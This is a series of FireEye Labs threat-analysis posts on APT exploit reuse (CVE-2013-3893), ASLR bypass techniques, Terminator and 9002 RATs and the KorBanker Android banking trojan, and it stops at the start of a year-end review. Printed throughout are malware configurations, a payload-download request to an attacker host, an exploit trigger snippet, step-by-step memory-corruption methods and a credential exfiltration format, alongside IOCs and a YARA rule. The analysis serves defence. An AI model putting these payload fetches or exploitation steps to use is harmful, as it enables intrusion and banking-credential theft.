Since we first reported on Operation DeputyDog, at least three other Advanced Persistent Threat (APT) campaigns known as Web2Crew, Taidoor, and th3bug have made use of the same exploit to deliver their own payloads to their own targets. It is not uncommon for APT groups to hand-off exploits to others, who are lower on the zero-day food chain – especially after the exploit becomes publicly available. Thus, while the exploit may be the same, the APT groups using them are not otherwise related.

In addition, APT campaigns may reuse existing infrastructure for new attacks. There have been reports that the use of CVE-2013-3893 may have begun in July; however, this determination appears to be based solely on the fact that the CnC infrastructure used in DeputyDog had been previously used by the attackers. We have found no indication that the attackers used CVE-2013-3893 prior to August 23, 2013.

Exploit Reuse

Since the use of CVE-2013-3893 in Operation DeputyDog (which we can confirm happened by at least August 23, 2013), the same exploit was used by different threat actors.

Web2Crew

On September 25, 2013, an actor we call Web2Crew utilized CVE-2013-3893 to drop PoisonIvy (not DeputyDog malware). The exploit was hosted on a server in Taiwan (220.229.238.123) and dropped a PoisonIvy payload (38db830da02df9cf1e467be0d5d9216b) hosted on the same server. In our recent paper, we document how to extract intelligence from Poison Ivy that can be used to cluster activity.

The Poison Ivy binary used in this attack was configured with the following properties:

ID: gua925
Group: gua925
DNS/Port: Direct: login.momoshop.org:443, Direct: 210.17.236.29:443,
Proxy DNS/Port:
Proxy Hijack: No
ActiveX Startup Key:
HKLM Startup Entry:
File Name:
Install Path: C:\Documents and Settings\Administrator\Desktop\runrun.exe
Keylog Path: C:\Documents and Settings\Administrator\Desktop\runrun
Inject: No
Process Mutex: ;A>6gi3lW
Key Logger Mutex:
ActiveX Startup: No
HKLM Startup: No
Copy To: No
Melt: No
Persistence: No
Keylogger: No
Password: LostC0ntrol2013~2014

This configuration matches with other Web2Crew particularly ‘gua25’ ID. Some previous Web2Crew Poison Ivy samples have been configured with similar IDs including:

920GUA
GUA4.11
GUA
GUA3.7
GUA613

Additionally, the IP address 210.17.236.29 was used to host the command and control server in this attack. A number of known Web2Crew domains previously resolved to this same IP address between August 15 and August 29.

We observed the Web2Crew actor targeting a financial institution in this attack as well as in previous attacks.

Taidoor

The same exploit (CVE-2013-3893) has also been used by another, separate APT campaign. By at least September 26, 2013 a compromised Taiwanese Government website was used to host the same exploit, however, the payload in this case was Taidoor (not DeputyDog malware). The decoded payload has an MD5 of 666603bd2073396b7545d8166d862396. The CnC servers are msdn.techsofts.com and 203.114.64.202.

We found another instance of CVE-2013-3893 hosted at www.atmovies[.]com[.]tw/home/temp1.html. This dropped another Taidoor binary with the MD5 of 1b03e3de1ef3e7135fbf9d5ce7e7ccf6. This Taidoor sample connected to a command and control server at 121.254.176.151. We found this sample targeting the same financial services firm targeted by the web2crew actor discussed above.

Both of these samples were the newer versions of Taidoor that we previously described here.

Th3Bug

The actor we refer to as ‘th3bug’ also used CVE-2013-3893 in multiple attacks. Beginning on September 27, compromised websites hosting the Internet Explorer zero-day redirected victims to download a stage one payload (496171867521908540a26dc81b969266) from www.jessearch[.]com/dev/js/27.exe. This payload was XOR’ed with a single byte key of 0×95.

The stage 1 payload then downloaded a PoisonIvy payload (not DeputyDog malware) via the following request:

GET /dev/js/heap.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible)
Host: www.jessearch.com
Cache-Control: no-cache

The PoisonIvy payload then connected to a command and control server at mm.tc.epac.to.

The deobfuscated stage 1 payload has a MD5 of 4017d0baa83c63ceff87cf634890a33f and was compiled on September 27, 2013. This may indicate that the th3bug actor also customized the IE zero-day exploit code on September 27, 2013 – well after the actors responsible for the DeputyDog malware weaponized the same exploit.

Infrastructure Reuse

APT groups also reuse CnC infrastructure. It is not uncommon to see a payload call back to the same CnC, even through it has been distributed via different means. For example, although the first reported use of CVE-2013-3893 in Operation DeputyDog was August 23, 2013, the CnC infrastructure had been used in earlier campaigns.

Specifically, one of the reported DeputyDog command and control servers located at 180.150.228.102 had been used in a previous attack in July 2013. During this previous attack, likely executed by the same actor responsible for the DeputyDog campaign, the 180.150.228.102 IP hosted a PoisonIvy control server and was used to target a gaming company as well as high-tech manufacturing company. There is no evidence to suggest that this July attack using Poison Ivy leveraged the same CVE-2013-3893 exploit.

We also observed usage of Trojan.APT.DeputyDog malware as early as March 26, 2013. In this attack, a Trojan.APT.DeputyDog binary (b1634ce7e8928dfdc3b3ada3ab828e84) was deployed against targets in both the high-technology manufacturing and finance verticals. This DeputyDog binary called back to a command and control server at www.jusched.net. There is also no evidence in this case to suggest that this attack used the CVE-2013-3893 exploit.

This malware family and the CnC infrastructure is part of an ongoing campaign. Therefore, the fact that this infrastructure was active prior to the first reported use of CVE-2013-3893 does not necessarily indicate that this particular exploit was previously used. The actor responsible for the DeputyDog campaign employs a multiple of malware tools and utilizes a diverse command and control infrastructure.

Conclusion

The activity associated with specific APT campaigns can be clustered and tracked by unique indicators. There are a variety of different campaigns that sometimes make use of the same malware (or sometimes widely available malware such as PoisonIvy) and the same exploits. It is not uncommon for zero-day exploits to be handed down to additional APT campaigns after they have already been used.

• The first observed usage of CVE-2013-3893, in Operation Deputy Dog, remains August 23, 2013. However, the C2 infrastructure had been used in previous attacks in July 2013.
• The CVE-2013-3893 has been subsequently used by at least three other APT campaigns: Taidoor, th3bug, and Web2Crew. However, other than the common use of the same exploit, these campaigns are otherwise unrelated.
• We expect that CVE-2013-3893 will continue to be handed down to additional APT campaigns and may eventually find its way into the cyber-crime underground.

ASLR (Address Space Layout Randomization) is one of the most effective protection mechanisms in modern operation systems. But it’s not perfect. Many recent APT attacks have used innovative techniques to bypass ASLR bypass techniques.

Here are just a few interesting bypass techniques that we have tracked in the past year:

• Using non-ASLR modules
• Modifying the BSTR length/null terminator
• Modifying the Array object

The following sections explain each of these techniques in detail.

Non-ASLR modules

Loading a non-ASLR module is the easiest and most popular way to defeat ASLR protection. Two popular non-ASLR modules are used in IE zero-day exploits: MSVCR71.DLL and HXDS.DLL.

MSVCR71.DLL, JRE 1.6.x is shipped an old version of the Microsoft Visual C Runtime Library that was not compiled with the /DYNAMICBASE option. By default, this DLL is loaded into the IE process at a fixed location in the following OS and IE combinations:

• Windows 7 and Internet Explorer 8
• Windows 7 and Internet Explorer 9

HXDS.DLL, shipped from MS Office 2010/2007, is not compiled with ASLR. This technique was first described in here, and is now the most frequently used ASLR bypass for IE 8/9 on Windows 7. This DLL is loaded when the browser loads a page with ‘ms-help://’ in the URL.

The following zero-day exploits used at least one of these techniques to bypass ASLR: CVE-2013-3893, CVE2013-1347, CVE-2012-4969, CVE-2012-4792.

Limitations

The non-ASLR module technique requires IE 8 and IE 9 to run with old software such as JRE 1.6 or Office 2007/2010. Upgrading to the latest versions of Java/Office can prevent this type of attack.

Modify the BSTR length/null terminator

This technique first appears in the 2010 Pwn2Own IE 8 exploit by Peter Vreugdenhil. It applies only to specific types of vulnerabilities that can overwrite memory, such as buffer overflow, arbitrary memory write, and increasing or decreasing the content of a memory pointer.

The arbitrary memory write does not directly control EIP. Most of the time, the exploit overwrites important program data such as function pointers to execute code. For attackers, the good thing about these types of vulnerabilities is that they can corrupt the length of a BSTR so that using the BSTR can access memory outside of its original boundaries. Such accesses may disclose memory addresses that can be used to pinpoint libraries suitable for ROP. Once the exploit has bypassed ASLR in this way, it can then use the same memory corruption bug to control EIP.

Few vulnerabilities can be used to modify the BSTR length. For example, some vulnerabilities can only increase/decrease memory pointers by one or two bytes. In this case, the attacker can modify the null terminator of a BSTR to concatenate the string with the next object. Subsequent accesses to the modified BSTR have the concatenated object’s content as part of BSTR, where attackers can usually find information related to DLL base addresses.

CVE-2013-0640

The Adobe XFA zero-day exploit uses this technique to find the AcroForm.api base address and builds a ROP chain dynamically to bypass ASLR and DEP. With this vulnerability, the exploit can decrease a controllable memory pointer before calling the function pointer from its vftable:

Consider the following memory layout before the DEC operation:

[string][null][non-null data][object]

After the DEC operation (in my tests, it is decreased twice) the memory becomes:

[string][\xfe][non-null data][object]

For further details, refer to the technique write-up from the immunityinc’s blog.

Limitations

This technique usually requires multiple writes to leak the necessary info, and the exploit writer has to carefully craft the heap layout to ensure that the length field is corrupted instead of other objects in memory. Since IE 9, Microsoft has used Nozzle to prevent heap spraying/fengshui, so sometimes the attacker must use the VBArray technique to craft the heap layout.

Modify the Array object

The array object length modification is similar to the BSTR length modification: they both require a certain class of “user-friendly” vulnerabilities. Even batter, from the attacker’s view, is that once the length changes, the attacker can also arbitrarily read from or write to memory — or basically take control of the whole process flow and achieve code execution.

Here is the list of known zero-day exploits using this technique:

CVE-2013-0634

This exploit involves Adobe Flash player regex handling buffer overflow. The attacker overwrites the length of a Vector.<Number> object, and then reads more memory content to get base address of flash.ocx.

Here’s how the exploit works:

1. Set up a continuous memory layout by allocating the following objects”:
2. Free the <Number> object at index 1 of the above objects as follows:
   
obj[1] = null;
3. Allocate the new RegExp object. This allocation reuses memory in the obj[1] position as follows:
   
   boom = "(?i)()()(?-i)||||||||||||||||||||||||";
var trigger = new RegExp(boom, "");

Later, the malformed expression overwrites the length of a Vector.<Number> object in obj[2] to enlarge it. With a corrupted size, the attacker can use obj[2] to read from or write to memory in a huge region to locate the flash.ocx base address and overwrite a vftable to execute the payload.

CVE-2013-3163

This vulnerability involves a IE CBlockContainerBlock object use-after-free error. This exploit is similar to CVE-2013-0634, but more sophisticated.

Basically, this vulnerability modifies the arbitrary memory content using an OR instruction. This instruction is something like the following:

or dword ptr [esi+8],20000h

Here’s how it works:

1. First, the attacker sprays the target heap memory with Vector.<uint> objects as follows:.
2. After the spray, those objects are stored aligned in a stable memory address. For example:

   The first dword, 0x03f0, is the length of the Vector.<uint> object, and the yellow marked values correspond to the values in above spray code.

3. If the attacker sets the esi + 8 point to 0x03f0, the size becomes 0x0203f0 after the OR operation — which is much larger than the original size.
4. With the larger access range, the attacker can change the next object length to 0x3FFFFFF0.
5. From there, the attacker can access the whole memory space in the IE process. ASLR is useless because the attacker can retrieve the entire DLL images for kernel32/NTDLL directly from memory. By dynamically searching for stack pivot gadgets in the text section and locating the ZwProtectVirtualMemory native API address from the IAT, the attacker can construct a ROP chain to change the memory attribute and bypass the DEP as follows:

By crafting the memory layout, the attacker also allocates a Vector.<object> that contains the flash.Media.Sound() object. The attacker uses the corrupted Vector.<uint> object to search the sound object in memory and overwrite it’s vftable to point to ROP payload and shellcode.

CVE-2013-1690

The use-after-free vulnerability in Firefox’s DocumentViewerImpl object allows the user to write a word value 0×0001 into an arbitrary memory location as follows:

In above code, all the variables that start with “m” are read from the user-controlled object. If the user can set the object to meet the condition in the second “if” statement, it forces the code path into the setImageAnimationMode() call, where the memory write is triggered. Inside the setImageAnimationMode(), the code looks like the following:

In this exploit, the attacker tries to use ArrayBuffer to craft the heap layout. In the following code, each ArrayBuffer element for var2 has the original size 0xff004.

After triggering the vulnerability, the attacker increases the size of the array to to 0x010ff004. The attacker can also locate this ArrayBuffer by comparing the byteLength in JavaScript. Then, the attacker can read to or write from memory with the corrupted ArrayBuffer. In this case, the attacker choose to disclosure the NTDLL base address from SharedUserData (0x7ffe0300), and manually hardcoded the offset to construct the ROP payload.

CVE-2013-1493

This vulnerability involves a JAVA CMM integer overflow that allows overwriting the array length field in memory. During exploitation, the array length actually expands to 0x7fffffff, and the attacker can search for the securityManager object in memory and null it to break the sandbox. This technique is much more effective than overwriting function pointers and dealing with ASLR/DEP to get native code execution.

The Array object modification technique is much better than other techniques. For the Flash ActionScript vector technique, there are no heap spray mitigations at all. As long as you have a memory-write vulnerability, it is easily implemented.

Summary

The following table outlines recent APT zero-day exploits and what bypass techniques they used:

Conclusion

ASLR bypassing has become more and more common in zero-day attacks. We have seen previous IE zero-day exploits using Microsoft Office non-ASLR DLL to bypass it, and Microsoft also did some mitigation in their latest OS and browser to prevent use of the non-ASLR module to defeat ASLR. Because the old technique will no longer work and can be easily detected, cybercriminals will have to use the advanced exploit technique. But for specific vulnerabilities that allow writing memory, combining the Vector.<uint> and Vector.<object> is more reliable and flexible. With just one shot, extending the exploit from writing a single byte to reading or writing gigabytes is easy and works for the latest OS and browser regardless of the OS, application, or language version.

Many researchers have published research on ASLR bypassing, such as Dion Blazakis’s JIT spray and Yuyang’s LdrHotPatchRoutine technique. But so far we haven’t seen any zero-day exploit leveraging them in the wild. The reason could be that these techniques are generic approaches to defeating ASLR. And they are usually fixed quickly after going public.

But there is no generic way to fix vulnerability-specific issues. In the future, expect more and more zero-day exploits using similar or more advanced techniques. We may need new mitigations in our OSs and security products to defeat them.

Thanks again to Dan Caselden and Yichong Lin for their help with this analysis.

FireEye Labs has been tracking a variety of advanced persistent threat (APT) actors that have been slightly changing their tools, techniques, and procedures (TTPs) in order to evade network defenses. Earlier, we documented changes to Aumlib, the malware used in the attack against the New York Times, and Taidoor, a malware family that is being used in ongoing cyber-espionage campaigns particularly against entities in Taiwan. In this post we will explore changes made to Terminator RAT (Remote Access Tool) by examining a recent attack against entities in Taiwan.

We recently analyzed a sample that we suspect was sent via spear-phishing emails to targets in Taiwan. As shown in Figure 1, the adversary sends a malicious Word document, “103.doc” (md5: a130b2e578d82409021b3c9ceda657b7), that exploits CVE-2012-0158, which subsequently drops a malware installer named “DW20.exe”. This particular malware is interesting because of the following:

• It evades sandbox by terminating and removing itself (DW20.exe) after installing. Malicious behavior will only appear after reboot.
• It deters single-object based sandbox by segregation of roles between collaborating malwares. The RAT (svchost_.exe) will collaborate with its relay (sss.exe) to communicate with the command and control server.
• It deters forensics investigation by changing the startup location.
• It deters file-based scanning that implements a maximum file size filter, by expanding the size of svchost_.exe to 40MB.

The ultimate payload of the attack is Terminator RAT, which is also known as FakeM RAT. This RAT does not appear to be exclusively used by a single APT actor, but is most likely being used in a variety (of possibly otherwise unrelated) campaigns. In the past, this RAT has been used against Tibetan and Uyghur activists, and we are seeing an increasing number of attacks targeting Taiwan as well.

However, these attacks use some evasive tactics that demonstrate the evolution of Terminator RAT. First, the attackers have included a component that relays traffic between the malware and a proxy server. Second, they have modified the 32-byte magic header that in previous versions attempted to disguise itself to look like either MSN Messenger, Yahoo! Messenger, or HTML code.

These modifications appear to be an attempt to evade network defenses, perhaps in response to defender’s increasing knowledge of the indicators of compromise associated with this malware. We will discuss the individual components of this attack in more detail.

Figure 1

1.   DW20.exe (MD5: 7B18E1F0CE0CB7EEA990859EF6DB810C)

DW20.exe was found to be the installation executable file. It will first create its working folders located at “%UserProfile%\Microsoft” and “%AppData%\2019”. The former is used to store the configurations and executable files (svchost_.exe and sss.exe) and the latter is used to store the shortcut link files. This folder “2019” was then configured to be the new start up folder location by changing the registry “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup” with the location of its path (see Figure 2).

Figure 2

The executable file “sss.exe” was found to be the decrypted form of the resource named 140 with type “ACCELORATOR” (likely misspelling of Accelerator – see Figure 3). This resource was decrypted using customized XTEA algorithm and appended with an encrypted configuration for the domains and ports.

Figure 3

After installation, DW20.exe deletes and terminates itself. The malwares will only run after reboot. This is one effective way to evade sandbox automatic analysis, as malicious activity will only reveal after a reboot.

2.   sss.exe (MD5: 93F51B957DA86BDE1B82934E73B10D9D)

sss.exe is an interesting malware component. As a researcher would analyze it independently, it is not considered a malicious program. This component plays the role as a network relay between the malware and the proxy server, by listening over port 8000. To achieve this, it first tries to identify the list of proxy servers that are used within the system using “WinHttpGetIEProxyConfigForCurrentUser”, and the discovered proxy servers and related ports are stored in the same directory in a file named “PROXY” (see Figure 4).

Figure 4

When there is a new incoming TCP connection over port 8000, it will attempt to create a local to proxy socket connection. With that, it will check connectivity with the CnC server. If the response is 200, it will then start to create a “relay link” between the malware and the CnC server (see Figure 5). The “relay link” was created using two threads, where one thread will transfer data from socket 1 to socket 2 (see Figure 6) and the other will do vice versa.

Figure 5

Figure 6

As depicted in Figure 7, the user agent is hard coded. It is a possible means to identify potentially malicious traffic, as Internet Explorer 6 is significantly outdated and “MSIE 6.0.1.3” is not a valid version token.

The configurations for the malicious domains and ports to use are located at the last 188 bytes of the executable file (see Figure 8). The first 16 bytes is the key (boxed in red) to decrypt the remaining content using modified XTEA algorithm (see Figure 9). The two malicious domains found were “liumingzhen.zapto.org” and “liumingzhen.myftp.org”

Figure 8

Figure 9

3.   Network Traffic

The Terminator sample we analyzed, “103.doc” (md5: a130b2e578d82409021b3c9ceda657b7) was not configured with fake HTML, Yahoo Messenger, or Windows Messenger traffic header as it had in past variants. However, the content is encrypted in exactly the same way as previous versions of Terminator RAT.

Figure 10

The decrypted content reveals that the malware is sending back the user name, the computer name and a campaign mark of “zjz1020”.

Figure 11

This particular sample is configured to one of two command and control servers:

• liumingzhen.zapto.org / 123.51.208.69
• liumingzhen.myftp.org / 123.51.208.69

We have located another malicious document that has a Taiwan-related decoy document that drops this same version of Terminator RAT.

Figure 12

The sample we analyzed (md5: 50d5e73ff8a0693ed2ee2d320af3b304) exploits CVE-2012-0158 and has the following command and control server:

• catlovers.25u.com  / 123.51.208.142

The command and control servers for both samples resolved to IP addresses in the same class C network.

4.   Campaign Connections

In June 2013, we investigated an attack against entities in Taiwan that used spear-phishing emails to deliver a malicious attachment.

Figure 13

The malicious attachment “標案資料.doc” (md5: bfc96694731f3cf39bcad6e0716c5746) exploited a vulnerability in Microsoft Office (CVE-2012-0158), however, the payload in this case was a different malware family known as WinData. The malware connected to the same command and control server, liumingzhen.zapto.org, but the callback is quite different:

XYZ /WinData.DLL?HELO-STX-1*1[IP Address]*[Computer Name]*0605[MAC:[Mac Address]]$

In a separate case where liumingzhen.zapto.org has been used as the command and control server, the payload was neither WinData nor Terminator RAT, but another type of malware known as Protux. The sample we analyzed in August 2012 for this case was “幹!.doc” (md5: 01da7213940a74c292d09ebe17f1bd01).

This particular threat actor has access to a variety of malware families and has been using them to target entities in Taiwan for more than a year.

Conclusion

Terminator RAT is an example of how malware are increasingly becoming more sophisticated and harder to detect. There is a need for continual research to understand various techniques, tactics, and procedures used by the adversaries. Detection of exploitation and identification of anomalous callbacks are becoming extremely critical in preventing the malware from installing into the system or phoning back to the command control servers.

Recently, we discovered a new IE zero-day exploit in the wild, which has been used in a strategic Web compromise. Specifically, the attackers inserted this zero-day exploit into a strategically important website, known to draw visitors that are likely interested in national and international security policy. We have identified relationships between the infrastructure used in this attack and that used in Operation DeputyDog. Furthermore, the attackers loaded the payload used in this attack directly into memory without first writing to disk – a technique not typically used by advanced persistent threat (APT) actors. This technique will further complicate network defenders’ ability to triage compromised systems, using traditional forensics methods.

Enter Trojan.APT.9002

On November 8, 2013 our colleagues Xiaobo Chen and Dan Caselden posted about a new Internet Explorer 0-day exploit seen in the wild. This exploit was seen used in a strategic Web compromise. The exploit chain was limited to one website. There were no iframes or redirects to external sites to pull down the shellcode payload.

Through the FireEye Dynamic Threat Intelligence (DTI) cloud, we were able to retrieve the payload dropped in the attack. This payload has been identified as a variant of Trojan.APT.9002 (aka Hydraq/McRAT variant) and runs in memory only. It does not write itself to disk, leaving little to no artifacts that can be used to identify infected endpoints.

Specifically, the payload is shellcode, which is decoded and directly injected into memory after successful exploitation via a series of steps. After an initial XOR decoding of the payload with the key “0x9F”, an instance of rundll32.exe is launched and injected with the payload using CreateProcessA, OpenProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread.

Figure 1 – Initial XOR decoding of shellcode, with key ’0x9F’

Figure 2 – Shellcode launches rundll32.exe and injects payload

After transfer of control to the injected payload in rundll32.exe, the shellcode is then subjected to two more levels of XOR decoding with the keys ’0×01′, followed by ’0x6A’.

Figure 3- Decoding shellcode with XOR key ’0×01′

Figure 4 – Decoding shellcode with XOR key ’0x6A’

Process execution is then transferred to the final decoded payload, which is a variant of the 9002 RAT.

Figure 5 – Transfer of process execution to final decoded payload

The fact that the attackers used a non-persistent first stage payload suggests that they are confident in both their resources and skills. As the payload was not persistent, the attackers had to work quickly, in order to gain control of victims and move laterally within affected organizations. If the attacker did not immediately seize control of infected endpoints, they risked losing these compromised endpoints, as the endpoints could have been rebooted at any time – thus automatically wiping the in-memory Trojan.APT.9002 malware variant from the infected endpoint.

Alternatively, the use of this non-persistent first stage may suggest that the attackers were confident that their intended targets would simply revisit the compromised website and be re-infected.

Command and Control Protocol and Infrastructure

This Trojan.APT.9002 variant connected to a command and control server at 111.68.9.93 over port 443. It uses a non-HTTP protocol as well as an HTTP POST for communicating with the remote server. However, the callback beacons have changed in this version, in comparison to the older 9002 RATs.

The older traditional version of 9002 RAT had a static 4-byte identifier at offset 0 in the callback network traffic. This identifier was typically the string “9002″, but we have also seen variants, where this has been modified – such as the 9002 variant documented in the Sunshop campaign.

Figure 6 – Traditional 9002 RAT callback beacon

In contrast, the beacon from the diskless 9002 payload used in the current IE 0-day attack is remarkably different and uses a dynamic 4-byte XOR key to encrypt the data. This 4-byte key is present at offset 0 and changes with each subsequent beacon. FireEye labs is aware that the 4-byte XOR version of 9002 has been in the wild for a while and is used by multiple APT actors, but this is the first time we’ve seen it deployed in the diskless payload method.

Figure 7 – Sample callback beacons of the diskless 9002 RAT payload

Figure 8 – XOR decrypted callback beacons of the diskless 9002 RAT payload

The XOR decoded data always contains the static value “\x09\x12\x11\x20″ at offset 16. This value is in fact hardcoded in packet data construction function prior to XOR encoding. This value most likely is the date “2011-12-09″ but its significance is not known at this time.

Figure 9 – Packet data construction function showing hardcoded value

The diskless 9002 RAT payload also makes a POST request, which has also changed from the traditional version. It has Base64 stub data, instead of the static string “AA”. The User-Agent string and URI pattern remain the same however. It uses the static string “lynx” in the User-Agent string and the URI is incremental hexadecimal values.

The data in the POST stub is also encrypted with a 4-byte XOR key, and when decrypted, the data is similar to the data in the non-HTTP beacon and also has the static value “\x09\x12\x11\x20″.

Campaign Analysis

We previously observed 104130d666ab3f640255140007f0b12d connecting to the same 111.68.9.93 IP address.

Analysis of MD5 104130d666ab3f640255140007f0b12d revealed that it shared unique identifying characteristics with 90a37e54c53ffb78969644b1a7038e8c, acbc249061a6a2fb09271a68d53567d9, and 20854f54b0d03118681410245be39bd8.

MD5 acbc249061a6a2fb09271a68d53567d9 and 90a37e54c53ffb78969644b1a7038e8c are both Trojan.APT.9002 variants and connect to a command and control server at 58.64.143.244.

MD5 20854f54b0d03118681410245be39bd8 is another Trojan.APT.9002 variant. This variant connected to a command and control server at ad04.bounceme.net.

Passive DNS analysis of this domain revealed that it resolved to 58.64.213.104 between 2011-09-23 and 2011-10-21. The following other domains have also been seen resolving to this same IP address:

If the domain dll.freshdns.org rings a bell, it should. While covering a different Internet Explorer Zero-day (CVE-2013-3893) and the associated Operation DeputyDog campaign, we reported that the CnC infrastructure used in that campaign overlapped with this same domain: dll.freshdns.org.

Inside the in-memory version of the Trojan.APT.9002 payload used in this strategic Web compromise, we identified the following interesting string: “rat_UnInstall”. Through DTI, we found this same string present in a number of different samples including the ones discussed above:

104130d666ab3f640255140007f0b12d
90a37e54c53ffb78969644b1a7038e8c
acbc249061a6a2fb09271a68d53567d9
20854f54b0d03118681410245be39bd8

Based on this analysis, all of these samples, including the in-memory variant, can be detected with the following simple YARA signature:

rule FE_APT_9002_rat
{
    meta:
        author = “FireEye Labs”
    strings:
        $mz = {4d 5a}
        $a = “rat_UnInstall” wide ascii
    condition:
        ($mz at 0) and $a
}

We also found the following strings of interest present in these above 9002 RAT samples (excluding the in-memory variant):

McpRoXy.exe
SoundMax.dll

These strings were all observed and highlighted by Bit9 here. As Bit9 notes in their blog, Trojan.APT.9002 (aka Hydraq/McRAT) was also used in the original Operation Aurora campaign, and the “rat_UnInstall” string can be found in the original Aurora samples confirming the lineage.

Conclusions

By utilizing strategic Web compromises along with in-memory payload delivery tactics and multiple nested methods of obfuscation, this campaign has proven to be exceptionally accomplished and elusive. APT actors are clearly learning and employing new tactics. With uncanny timing and a penchant for consistently employing Zero-day exploits in targeted attacks, we expect APT threat actors to continue to evolve and launch new campaigns for the foreseeable future. Not surprisingly, these old dogs continue to learn new tricks.

FireEye Labs would like to thank iSIGHT Partners for their assistance with this research.

Today, we released a new report from FireEye Labs entitled Supply Chain Analysis: From Quartermaster to Sunshop.

The report details how many seemingly unrelated cyber attacks may, in fact, be part of a broader offensive fueled by a shared development and logistics infrastructure — a finding that suggests some targets are facing a more organized menace than they realize. Our research points to centralized planning and development by one or more advanced persistent threat (APT) actors. Malware clearly remains a desired cyber weapon of choice. Streamlining development makes financial sense for attackers, so the findings may imply a bigger trend towards industrialization that achieves an economy of scale.

The report is available for download here: http://www.fireeye.com/resources/pdfs/fireeye-malware-supply-chain.pdf

FireEye recently identified a malicious mobile application that installs a fake banking application capable of stealing user credentials. The top-level app acts as a bogus Google Play application, falsely assuring the user that it is benign.

FireEye Mobile Threat Prevention platform detects this application as Android.KorBanker. This blog post details both the top-level installer as well as the fake banking application embedded inside the top-level app.

The app targets the following banks, all of which are based in Korea.

• Hana Bank
• IBK One
• KB Kookmin Bank
• NH Bank
• Woori Bank
• Shinhan Bank

Once installed, the top-level application presents itself as a Google Play application. It also asks the user for permission to activate itself as a device administrator, which gives KorBanker ultimate control over the device and helps the app stay hidden from the app menu.

The user sees the messages in Figure 1 and Figure 2.

The message in Figure 2 translates to: “Notification installation file is corrupt error has occurred. Sure you want to delete the corrupted files?”

When the user clicks taps the “Yes’ button, KorBanker hides itself from the user by calling the following Android API:

getPackageManager().setComponentEnabledSetting(new ComponentName("com.pro.www", "com.pro.www.MainActivity"), 2, 1)

The arguments “2” and “1” which are being passed to the above function are explained below.

The 2 argument represents is the value for the COMPONENT_ENABLED_STATE_DISABLED flag, which causes the component to be disabled from the menu of apps.

The 1 argument is the value for the DONT_KILL_APP flag, which indicates that the app should not be killed and continue running in the background.

After installation, the app checks whether any of the six targeted banking applications have been installed. If it finds any, it deletes the legitimate banking application and silently replaces it with a fake version. The fake versions of the banking applications are embedded in the “assets” directory of the top-level APK.

Initial registration protocol

The top-level APK and the embedded fake banking app register themselves with their respective command-and-control (CnC) servers. The following section explains the registration process.

Top-level app

The top-level app registers itself by sending the device ID of the phone to the remote CnC server packed in a JavaScript Object Notation (JSON) object. The data packet excerpt is shown in Figure 3. This is the first packet that is sent out once the app is installed on the device.

Figure 3: KorBanker data packet during registration

The packet capture shown in Figure 3 shows the structure of the registration message. The bytes highlighted in red indicate the CnC message code of 0×07(decimal 7) which translates to the string addUserReq.

Outlined in yellow is length indicator — 0×71(113 bytes)— followed by the JSON object containing the Device ID and the phone number of the device. The values for callSt and smsSt are statically set to 21 and 11, respectively.

The response bytes shown in black containing 0×04 and 0×01 map to the command addUserAck. They are sent by the server to acknowledge the receipt of the previously sent addUserReq. Code inside the application invokes various functions as it receives commands. These functions may exist for future updates of the application.

Figure 4: KorBanker code for sending incoming messages to CnC server

Once the installation of the app has been registered, the app waits for incoming messages on the phone, possibly looking for access codes that arrive as a part of two factor authentication methods for one of the six targeted banks. All incoming messages to the phone are intercepted and sent to the CnC server 180.214.160.70 on port 8888 as shown in Figure 4.

The bytes highlighted in red after the response show the message code of 0×08 (Decimal 8), which translates to the command addSmsReq. This is followed by the size of the message. The Device ID is sent at the end of the data packet to identify the device from which this message was seen with the timestamp. It also suppresses the SMS notifications from the user and deletes the message from the device.

The remote CnC infrastructure is based on numeric codes. These codes are stored in a data structure in the app. All incoming messages and responses from the CnC server arrive in numeric codes and get translated into corresponding strings, which in turn drive the app to perform different tasks.

Table 1 shows the CnC commands supported by the top-level app. All the commands ending with “Req” correspond to the infected client requests made to the CnC server. All the commands ending with “Ack” indicate acknowledgements of the received commands.

Fake banking app 

The fake banking app once installed registers with a CnC server on a different IP address by sending the HTTP request shown below.

Figure 5: Data capture showing the installation of the fake banking app 

Once the phone is registered, the user is presented with the following fake login page of the banking app, which prompts the user for banking account credentials. All these credentials are stored internally in a JSON object.

The user is then prompted for a SCARD code and 35-digit combination, which is recorded into the JSON and sent out to ‘http://180.214.160.70/send_bank.php’ as follows:

{ "renzheng" : "1234",

"fenli" : "1234",

"datetime" : "2013-08-12 12:32:32",

"phone":'8889991111',

"bankinid": '1234',

"jumin": '1234',

"banknum" : '1234',

"banknumpw" : '1234',

"paypw" : 'test',

"scard" : "1234567890",

"sn1" : "1234",

"sn2" : "1234",

"sn3" : "1234",

....

....

"sn34" : "1234",

"sn35" : "1234"

}

The response received is as follows:

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Connection: close

Content-Type: text/html

Date: Fri, 22 Nov 2013 02:05:00 GMT

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Conclusion

This malware sample takes extra measures to obtain banking credentials. With the increased usage of mobile devices and with the liberal permission allotment to apps that appear benign we are now at an increased risk of monetary losses on the mobile front. Mobile banking is not completely void of its adversaries. KorBanker is a vivid reminder of just how dangerous apps from untrusted sources can be.

FireEye has been busy over the last year. We have tracked malware-based espionage campaigns and published research papers on numerous advanced threat actors. We chopped through Poison Ivy, documented a cyber arms dealer, and revealed that Operation Ke3chang had targeted Ministries of Foreign Affairs in Europe.

Worldwide, security experts made many breakthroughs in cyber defense research in 2013. I believe the two biggest stories were Mandiant’s APT1 report and the ongoing Edward Snowden revelations, including the revelation that the U.S. National Security Agency (NSA) compromised 50,000 computers around the world as part of a global espionage campaign.

In this post, I would like to highlight some of the outstanding research from 2013.

Trends in Targeting

Targeted malware attack reports tend to focus on intellectual property theft within specific industry verticals. But this year, there were many attacks that appeared to be related to nation-state disputes, including diplomatic espionage and military conflicts.

Conflict

Where kinetic conflict and nation-state disputes arise, malware is sure to be found. Here are some of the more interesting cases documented this year:

• Middle East: continued attacks targeting the Syrian opposition; further activity by Operation Molerats related to Israel and Palestinian territories.
• India and Pakistan: tenuous relations in physical world equate to tenuous relations in cyberspace. Exemplifying this trend was the Indian malware group Hangover, the ByeBye attacks against Pakistan, and Pakistan-based attacks against India.
